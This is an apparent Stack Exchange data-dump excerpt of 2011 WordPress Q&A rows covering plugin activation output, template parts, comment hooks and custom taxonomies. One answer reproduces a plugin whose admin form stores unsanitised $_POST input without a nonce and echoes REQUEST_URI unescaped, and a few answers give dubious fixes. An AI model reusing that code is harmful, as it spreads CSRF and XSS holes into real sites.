  <row Id="16546" PostTypeId="2" ParentId="16465" CreationDate="2011-05-06T13:21:48.623" Score="1" ViewCount="" Body="&lt;p&gt;Get a dedicated box with Nginx. That'll go pretty far even before caching. It mostly depends on your traffic tho. Number of blogs matters a lot less, becasue I've seen a network with 10 blogs suck up a gig of RAM becasue of the hits it was getting.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-05-06T13:21:48.623" />
  <row Id="16547" PostTypeId="1" CreationDate="2011-05-06T13:23:49.987" Score="2" ViewCount="254" Body="&lt;p&gt;I'm developing Wordpress plugins. When i activate my plugin, i'm getting a message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin generated 293 characters of&#xA;  unexpected output during activation.&#xA;  If you notice “headers already sent”&#xA;  messages, problems with syndication&#xA;  feeds or other issues, try&#xA;  deactivating or removing this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Plugin working very well but i don't know why i'm getting this message. My plugin is : &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-send-like-button/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-send-like-button/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3552" LastActivityDate="2011-08-04T22:38:44.367" Title="Wordpress Plugin Development - Headers Already Sent Message" Tags="&lt;plugin-development&gt;&lt;headers&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="16548" PostTypeId="1" CreationDate="2011-05-06T10:34:42.480" Score="1" ViewCount="74" Body="&lt;p&gt;I am using WordPress 3.0.5 and am trying to integrate the Gigya API for user registration and login. I get &lt;em&gt;&quot;Error: Request has expired&quot;&lt;/em&gt; every time I try to register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With LinkedIn:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/QdlKX.png&quot; alt=&quot;Error message with LinkedIn&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Yahoo!:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/fRY9q.png&quot; alt=&quot;Error message with Yahoo!&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5251" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T07:35:26.880" LastActivityDate="2011-08-30T12:36:57.493" Title="&quot;Request has expired&quot; with &quot;Make your site social&quot; (Gigya) plugin" Tags="&lt;plugins&gt;&lt;login&gt;&lt;gigya&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16549" PostTypeId="2" ParentId="16547" CreationDate="2011-05-06T13:40:28.270" Score="1" ViewCount="" Body="&lt;p&gt;This is typically caused by spaces or new lines before the opening &lt;code&gt;&amp;lt;?php&lt;/code&gt; tag or after the closing &lt;code&gt;?&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out this page to see some solutions: &lt;a href=&quot;http://codex.wordpress.org/FAQ_Troubleshooting#How_do_I_solve_the_Headers_already_sent_warning_problem.3F&quot; rel=&quot;nofollow&quot;&gt;How do I solve the Headers already sent warning problem?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After examining your plugin code, the one thing I noticed is that you don't have a closing PHP tag.  On the last line, add &lt;code&gt;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1511" LastEditorUserId="1511" LastEditorDisplayName="" LastEditDate="2011-05-06T14:09:52.127" LastActivityDate="2011-05-06T14:09:52.127" CommentCount="2" />
  <row Id="16550" PostTypeId="2" ParentId="16540" CreationDate="2011-05-06T13:50:59.703" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_list_comments()&lt;/code&gt; has no filters or hooks so its going to be a bit hard, what you can do is use &lt;code&gt;comments_array&lt;/code&gt; filter hook &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('comments_array','my_custom_comments_list');&#xA;function my_custom_comments_list($comments, $post_id){&#xA;    //if criteria are met&#xA;    //pull your comments from your own table&#xA;    //in to an array and return it.&#xA;    return $my_comments;&#xA;    //else return $comments&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as for &quot;intercept the comment submit and process&quot; chips answer would be the best way using &lt;code&gt;preprocess_comment&lt;/code&gt; filter hook but you want be able to avoid WordPress form inserting the comment to the default table as well, so you can use &lt;code&gt;wp_insert_comment&lt;/code&gt; action hook to remove the comment from the default table right after its inserted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_insert_comment','remove_comment_from_default_table');&#xA;function remove_comment_from_default_table( $id, $comment){&#xA;    //if criteria are met&#xA;    //and the comment was inserted in your own table&#xA;    //remove it from the default table:&#xA;    wp_delete_comment($id, $force_delete = true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T13:50:59.703" CommentCount="2" />
  <row Id="16551" PostTypeId="2" ParentId="16547" CreationDate="2011-05-06T13:59:56.110" Score="-1" ViewCount="" Body="&lt;p&gt;Looking at the last revision of the plugin (381724) the problem is &lt;strong&gt;Too many spaces&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;every time you want to create this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function blabla(){&#xA;   &amp;lt;= space&#xA;   something...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your code use TAB and not spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is you code where i replaced all spaces with tabs and i do not get any messages at activation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Facebook Send Button By Teknoblogo.com&#xA;Plugin URI: http://www.teknoblogo.com/facebook-gonder-butonu-eklenti&#xA;Description: Adds Facebook's Send and Like buttons to your posts ! Author : &amp;lt;a href=&quot;http://www.teknoblogo.com&quot;&amp;gt;teknoblogo.com&amp;lt;/a&amp;gt;&#xA;Version: 1.3&#xA;Author: Eray Alakese&#xA;Author URI: http://www.teknoblogo.com&#xA;License: GPL2&#xA;*/&#xA;&#xA;wp_register_script('fgb_script', &quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;);&#xA;wp_enqueue_script('fgb_script');&#xA;&#xA;function fgb_ayarlari_yap()&#xA;{&#xA;    add_option('fgb_yer', 'u');&#xA;    add_option('fgb_buton', 'snl');&#xA;    add_option('fgb_manual', 'hayir');&#xA;}&#xA;register_activation_hook( __FILE__, 'fgb_ayarlari_yap' );&#xA;function fgb_ayarlari_sil()&#xA;{&#xA;    delete_option('fgb_yer');&#xA;    delete_option('fgb_buton');&#xA;    delete_option('fgb_manual');&#xA;}&#xA;register_deactivation_hook( __FILE__, 'fgb_ayarlari_sil' );&#xA;&#xA;&#xA;function fgb_ekle($content)&#xA;{&#xA;    $fgb_yer = get_option('fgb_yer'); &#xA;    $fgb_buton_opt = get_option('fgb_buton'); &#xA;    $fgb_manual = get_option('fgb_manual');&#xA;    $fgb_perma  = rawurlencode(get_permalink());&#xA;    $fgb_send_button = &quot;&amp;lt;fb:send href=\&quot;$fgb_perma\&quot; font=\&quot;\&quot;&amp;gt;&amp;lt;/fb:send&amp;gt;&quot;;&#xA;    $fgb_like_button = &quot;&amp;lt;fb:like href=\&quot;$fgb_perma\&quot; send=\&quot;false\&quot; width=\&quot;450\&quot; show_faces=\&quot;true\&quot; font=\&quot;\&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&quot;;&#xA;    $fgb_snl_button = &quot;&amp;lt;fb:like href=\&quot;$fgb_perma\&quot; send=\&quot;true\&quot; width=\&quot;450\&quot; show_faces=\&quot;true\&quot; font=\&quot;\&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&quot;;&#xA;    if($fgb_buton_opt == &quot;send&quot;)&#xA;    {&#xA;        $fgb_buton = $fgb_send_button;&#xA;    }&#xA;    elseif($fgb_buton_opt == &quot;like&quot;)&#xA;    {&#xA;        $fgb_buton = $fgb_like_button;&#xA;    }&#xA;    elseif($fgb_buton_opt == &quot;snl&quot;)&#xA;    {&#xA;        $fgb_buton = $fgb_snl_button;&#xA;    }&#xA;    else&#xA;    {&#xA;        echo &quot;Buton türü alınamadı!&quot;;&#xA;    }&#xA;&#xA;    if ($fgb_manual==&quot;hayir&quot;){&#xA;        if ($fgb_yer == &quot;u&quot;)&#xA;        {&#xA;            $content = $fgb_buton.&quot;&amp;lt;br /&amp;gt;&quot;.$content;&#xA;        }&#xA;        elseif ($fgb_yer == &quot;a&quot;)&#xA;        {&#xA;            $content = $content.&quot;&amp;lt;br /&amp;gt;&quot;.$fgb_buton;&#xA;        }&#xA;        return $content;&#xA;    }&#xA;    elseif($fgb_manual==&quot;evet&quot;){&#xA;        echo $fgb_buton;&#xA;    }&#xA;}&#xA;if (get_option('fgb_manual')==&quot;hayir&quot;){ add_filter( &quot;the_content&quot;, &quot;fgb_ekle&quot; ); }&#xA;&#xA;add_action('admin_menu', 'fgb_admin_menu');&#xA;function fgb_admin_menu() {&#xA;    add_options_page('Facebook Send Button', 'Facebook Send Button', 'manage_options', 'fgb', 'fgb_admin_options');&#xA;}&#xA;function fgb_admin_options() {&#xA;    if (!current_user_can('manage_options'))  {&#xA;        wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;    }&#xA;    echo '&amp;lt;div class=&quot;wrap&quot;&amp;gt;';&#xA;    ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Facebook Send &amp;amp; Like Button&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;? &#xA;    if($_POST[&quot;fgb_gonder&quot;])&#xA;    {&#xA;      echo &quot;&amp;lt;h3&amp;gt;saved&amp;lt;/h3&amp;gt;&quot;;&#xA;      update_option('fgb_yer', $_POST[&quot;fgb_yer&quot;]);&#xA;      update_option('fgb_buton', $_POST[&quot;fgb_buton&quot;]);    &#xA;      update_option('fgb_manual', $_POST[&quot;fgb_manual&quot;]);&#xA;&#xA;        $fgb_admin_yer = get_option('fgb_yer');&#xA;        $fgb_admin_buton = get_option('fgb_buton');&#xA;        $fgb_admin_manual = get_option('fgb_manual');&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; method=&quot;POST&quot;&amp;gt;&#xA;    Show Facebook buttons &amp;lt;select name=&quot;fgb_yer&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;u&quot; &amp;lt;?php if($fgb_admin_yer == &quot;u&quot;){echo &quot;SELECTED&quot;;}?&amp;gt;&amp;gt;before content&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a&quot; &amp;lt;?php if($fgb_admin_yer == &quot;a&quot;){echo &quot;SELECTED&quot;;}?&amp;gt;&amp;gt;after content&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; and i want &amp;lt;select name=&quot;fgb_buton&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;snl&quot; &amp;lt;?php if($fgb_admin_buton==&quot;snl&quot;){echo &quot;SELECTED&quot;;}?&amp;gt;&amp;gt;send and like buttons together&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;send&quot; &amp;lt;?php if($fgb_admin_buton==&quot;send&quot;){echo &quot;SELECTED&quot;;}?&amp;gt;&amp;gt;just send button&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;like&quot; &amp;lt;?php if($fgb_admin_buton==&quot;like&quot;){echo &quot;SELECTED&quot;;}?&amp;gt;&amp;gt;just like button&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; . &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;radio&quot; value=&quot;hayir&quot; name=&quot;fgb_manual&quot; &amp;lt;?php if($fgb_admin_manual==&quot;hayir&quot;){echo &quot;CHECKED&quot;;}?&amp;gt; /&amp;gt; put buttons for me, AUTOMATICALLY &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;radio&quot; value=&quot;evet&quot; name=&quot;fgb_manual&quot; &amp;lt;?php if($fgb_admin_manual==&quot;evet&quot;){echo &quot;CHECKED&quot;;}?&amp;gt; /&amp;gt; i can put them, MANUALLY &amp;lt;br /&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; name=&quot;fgb_gonder&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;br /&amp;gt;If you use &amp;lt;strong&amp;gt;manuel insertion&amp;lt;/strong&amp;gt; , you have to add this code to your theme : &#xA;    &amp;lt;strong&amp;gt;&amp;amp;lt;?php if(function_exists('fgb_ekle')) {   fgb_ekle(); }?&amp;amp;gt;&amp;lt;/strong&amp;gt;&#xA;&#xA;    &amp;lt;hr /&amp;gt;&#xA;    &amp;lt;em&amp;gt;If you like this plugin, please &amp;lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-send-like-button/&quot;&amp;gt;vote&amp;lt;/a&amp;gt; .&#xA;    Author : &amp;lt;a href=&quot;http://www.teknoblogo.com&quot;&amp;gt;Eray Alakese&amp;lt;/a&amp;gt;&#xA;    You can &amp;lt;a href=&quot;mailto:info@teknoblogo.com&quot;&amp;gt;mail me&amp;lt;/a&amp;gt; for bugs, thanks.&amp;lt;/em&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T13:59:56.110" CommentCount="2" />
  <row Id="16552" PostTypeId="2" ParentId="16547" CreationDate="2011-05-06T14:17:28.863" Score="1" ViewCount="" Body="&lt;p&gt;My guess is you get a PHP error, which generates output before the headers are sent. If you have &lt;code&gt;E_NOTICE&lt;/code&gt; enabled, calling &lt;code&gt;$_POST['foo']&lt;/code&gt; may generate a &quot;Notice: undefined variable&quot; error if that variable is not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best practice: never assume anything about GET, POST, COOKIE and REQUEST variables. Always check first using &lt;code&gt;isset()&lt;/code&gt; or &lt;code&gt;empty()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-06T14:17:28.863" />
  <row Id="16553" PostTypeId="2" ParentId="16547" CreationDate="2011-05-06T14:18:28.197" Score="0" ViewCount="" Body="&lt;p&gt;I'm not positive this is the problem, but I'm pretty sure of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use a valid callback as the second argument in &lt;code&gt;register_activation_hook()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook(__FILE__,'twl_tablo_olustur');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, you haven't defined &lt;code&gt;twl_tablo_olustur()&lt;/code&gt; anywhere. This would certainly explain the unexpected output (PHP error generated from trying to call a non-existent function), and would explain why it works fine in all other circumstances.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-06T14:18:28.197" CommentCount="1" />
  <row Id="16554" PostTypeId="1" AcceptedAnswerId="16557" CreationDate="2011-05-06T14:18:40.477" Score="2" ViewCount="346" Body="&lt;p&gt;In &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15990/twentyten-overloading-template-php-files-vs-get-template-part&quot;&gt;this post on wordpress.stackexchange.com&lt;/a&gt; I asked whether using get_template_part(), as demonstrated in the TwentyTen theme, is a recommended best practice. The general consensus I got was that it was not necessarily the best practice in all situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This related question then is: can you provide me with an example where using get_template_part() &lt;em&gt;would&lt;/em&gt; be the recommended approach, over simply defining the separate template.php files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can either define archive.php, single.php and page.php; or I can define loop-archive.php, loop-single.php and loop-page.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what circumstances would it be preferable to use get_template_part('loop', 'single') and leverage loop-single.php versus simply defining single.php?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-06T18:19:13.047" Title="When is get_template_part() preferable to simply using the template.php files?" Tags="&lt;page-template&gt;&lt;best-practices&gt;&lt;get-template-part&gt;" AnswerCount="4" />
  <row Id="16556" PostTypeId="2" ParentId="16554" CreationDate="2011-05-06T14:34:59.353" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_template_part()&lt;/code&gt; should (imho) be used if you use that code in more than one template. For ex. a header, a nav menu or a sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates should (imho - again) be used if a template is different in more than just some lines from the rest of the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally only use a simple index.php that includes conditional tags to load my query specific template parts in my small base theme. In the larger theme i got only hooks in my index.php file and hook in my template parts conditionally (but the setup is far more complex - mostly &lt;em&gt;real&lt;/em&gt; cms stuff).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-06T14:34:59.353" />
  <row Id="16557" PostTypeId="2" ParentId="16554" CreationDate="2011-05-06T14:41:51.627" Score="2" ViewCount="" Body="&lt;p&gt;A recommended approach for using &lt;code&gt;get_template_part&lt;/code&gt; would be for including bits of code that would otherwise be repeated frequently in all your templates.  Like if you had conditionals defined within your loop that you wanted to include in archive.php, search.php, single.php etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also allows child themes to override that file and include additional more specific files.  For example if you used &lt;code&gt;get_template_part( 'loop', 'single' )&lt;/code&gt; and your theme only has a file named loop.php then a child theme could include a file named loop-single.php that would override your loop.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically a custom includes tag for template files other than header, sidebar, or footer.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-06T14:41:51.627" />
  <row Id="16558" PostTypeId="2" ParentId="16554" CreationDate="2011-05-06T14:42:18.273" Score="1" ViewCount="" Body="&lt;p&gt;Building on Kaiser's answer, &lt;code&gt;get_template_part()&lt;/code&gt; is useful for repetitive code. For example, most of your main template parts probably have a very similar loop. Putting that loop into a file called &lt;code&gt;loop.php&lt;/code&gt; and calling &lt;code&gt;get_template_part('loop');&lt;/code&gt; means that, the next time you want to change the code in your site's loop, you do it once in one place, rather than the dozen or so times in the dozen or so template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's one huge advantage of &lt;code&gt;get_template_part()&lt;/code&gt;. The other one, and the more important one, in my opinion, is that it works very well with parent/child themes. Using the &lt;code&gt;loop.php&lt;/code&gt; example again, if you have a child theme and wanted to modify the loop code in your child theme, but didn't want to change the rest of the template, you would only need to override the one &lt;code&gt;loop.php&lt;/code&gt; file in your child theme, rather than the dozen or so other template files.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-06T14:42:18.273" CommentCount="1" />
  <row Id="16559" PostTypeId="2" ParentId="14008" CreationDate="2011-05-06T14:50:28.063" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My child theme inlcudes php as well as css files. Whenever I switch to a different theme for mobile browsers it works but the custom post types, cats etc are missing in action. I am kind of lost.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your problem is that you're doing too much with the theme.  Themes are all about &lt;em&gt;presentation&lt;/em&gt;, not about &lt;em&gt;functionality&lt;/em&gt;.  If your child or parent theme is defining a custom post type (as I infer from your question), then &lt;a href=&quot;http://www.slideshare.net/MichaelFields/theming-for-the-masses/16&quot; rel=&quot;nofollow&quot;&gt;you're doing it wrong&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the mobile plugins serve up a different theme for your site, they ignore the main theme for your site entirely.  That means no CPT support on the mobile side unless you rewrite the mobile plugin yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, instead, spin off your CPT definitions into a plugin so that they're still available to the mobile version of your site.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-06T17:59:37.310" LastActivityDate="2011-05-06T17:59:37.310" />
  <row Id="16560" PostTypeId="2" ParentId="16538" CreationDate="2011-05-06T14:55:18.860" Score="1" ViewCount="" Body="&lt;p&gt;The code Sisir provided would work, or you can use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    // you can use $ here&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-05-06T14:55:18.860" />
  <row Id="16561" PostTypeId="2" ParentId="16527" CreationDate="2011-05-06T14:56:28.963" Score="1" ViewCount="" Body="&lt;p&gt;An easier approach would be to leave the &lt;code&gt;options-general.php&lt;/code&gt; sub menu unblocked and define:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://example.com');&#xA;define('WP_SITEURL','http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your wp-config.php.  When the siteurl and homeurl are defined in wp-config.php the options are grayed out on the options page.  This would allow your client to change the site title, description, time zone and registration settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/piOv9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T19:30:25.607" LastActivityDate="2011-05-07T19:30:25.607" />
  <row Id="16562" PostTypeId="2" ParentId="16547" CreationDate="2011-05-06T14:58:57.250" Score="0" ViewCount="" Body="&lt;p&gt;I tend to get these messages a lot when I'm outputting plugin / theme debug messages, especially when I'm outputting stuff before wp_header gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're outputting any characters, then I believe (could be wrong here) that there's an implicit header declaration, so when the normal header() call occurs, you get the error as you can't have 2 header declarations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use ob_start() to buffer the output, which should remove the error - have a look at the comments here: &lt;a href=&quot;http://php.net/manual/en/function.header.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.header.php&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-06T14:58:57.250" />
  <row Id="16563" PostTypeId="2" ParentId="16504" CreationDate="2011-05-06T15:13:05.923" Score="1" ViewCount="" Body="&lt;p&gt;Your code looks odd to me, typically to insert something between posts you add a counter and count each loop, then add custom code on a particular count, this is for the main loop, for a non main loop or secondary loop us wp_query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php $count = 0; ?&amp;gt;&#xA;&#xA;&amp;lt;?php query_posts( 'posts_per_page=9' );?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php $count++; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($count == 4) : ?&amp;gt;&#xA;&#xA; // Your custom sticky post and html goes here&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA; // the regular loop code goes here such as the below&#xA;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-06T15:13:05.923" />
  <row Id="16564" PostTypeId="1" AcceptedAnswerId="16566" CreationDate="2011-05-06T15:09:50.553" Score="0" ViewCount="212" Body="&lt;p&gt;We're trying to use WordPress as a light CMS system and we need to be able to section off parts of WordPress so that editors for one product aren't able to edit other products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like out of the box WP has 5 user levels but there isnt any thought around fine grain access (without using WP Network)&lt;/p&gt;&#xA;" OwnerUserId="3976" LastActivityDate="2011-05-06T15:29:10.543" Title="How can I limit WordPress editor roles to a specific category?" Tags="&lt;permissions&gt;&lt;categories&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16565" PostTypeId="1" AcceptedAnswerId="16572" CreationDate="2011-05-06T15:26:30.153" Score="0" ViewCount="90" Body="&lt;p&gt;I am running a theme on my Wordpress install that was built for Wordpress 2.8, prior to the time that Wordpress started using featured images for posts. I am switching to a theme that was built for Wordpress 3.1 and it uses the featured image instead of looking for a custom field. I have a lot of old posts with the custom field for the image. Is there a tool I can use that takes the custom field image URL and turns it into the post's featured image? I Googled this and also searched here on Wordpress Answers to no avail. I did find a custom script on the Wordpress forums, but I didn't try it because some people had responded saying it didn't work correctly.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-05-07T01:55:39.350" Title="How can I migrate all of my custom field thumbnails to the built-in post featured image?" Tags="&lt;custom-field&gt;&lt;post-thumbnails&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="16566" PostTypeId="2" ParentId="16564" CreationDate="2011-05-06T15:29:10.543" Score="1" ViewCount="" Body="&lt;p&gt;Google is your friend ;) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/restrict-categories/&quot; rel=&quot;nofollow&quot;&gt;Restrict categories&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-06T15:29:10.543" CommentCount="1" />
  <row Id="16567" PostTypeId="1" CreationDate="2011-05-06T15:29:55.223" Score="1" ViewCount="173" Body="&lt;p&gt;I need to create a gallery like this where clicking on the thumbnails loads a new image and caption in the area above the thumbnails:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XAGdS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always prefer to &lt;strong&gt;not&lt;/strong&gt; use plugins, but in this case I think I might be forced to as the in-built gallery system for Wordpress doesn't work for me (there's no easy way to remove images from the gallery set without deleting them, no easy reordering and captions seem difficult to implement).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would NextGen be the best choice for this, or is there a paid option that's worth looking at and can this be easily styled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-06-05T16:57:59.213" Title="Best way to implement a thumbnail-based gallery in Wordpress?" Tags="&lt;3.1&gt;&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="16568" PostTypeId="1" AcceptedAnswerId="16571" CreationDate="2011-05-06T15:28:45.210" Score="1" ViewCount="186" Body="&lt;p&gt;I'd like to be able to have categories of a custom post type, how do you set this up? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to keep the default categories for regular blog posts, but a separate set of categories just CPT. &lt;/p&gt;&#xA;" OwnerUserId="3976" LastEditorUserId="3976" LastEditorDisplayName="" LastEditDate="2011-05-06T16:06:19.857" LastActivityDate="2011-05-06T16:06:19.857" Title="How do you add categories to custom post types in WordPress?" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="16569" PostTypeId="2" ParentId="16568" CreationDate="2011-05-06T15:37:57.263" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_type()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_taxonomy()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy_for_object_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_taxonomy_for_object_type()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-06T15:37:57.263" CommunityOwnedDate="2011-05-06T15:37:57.263" />
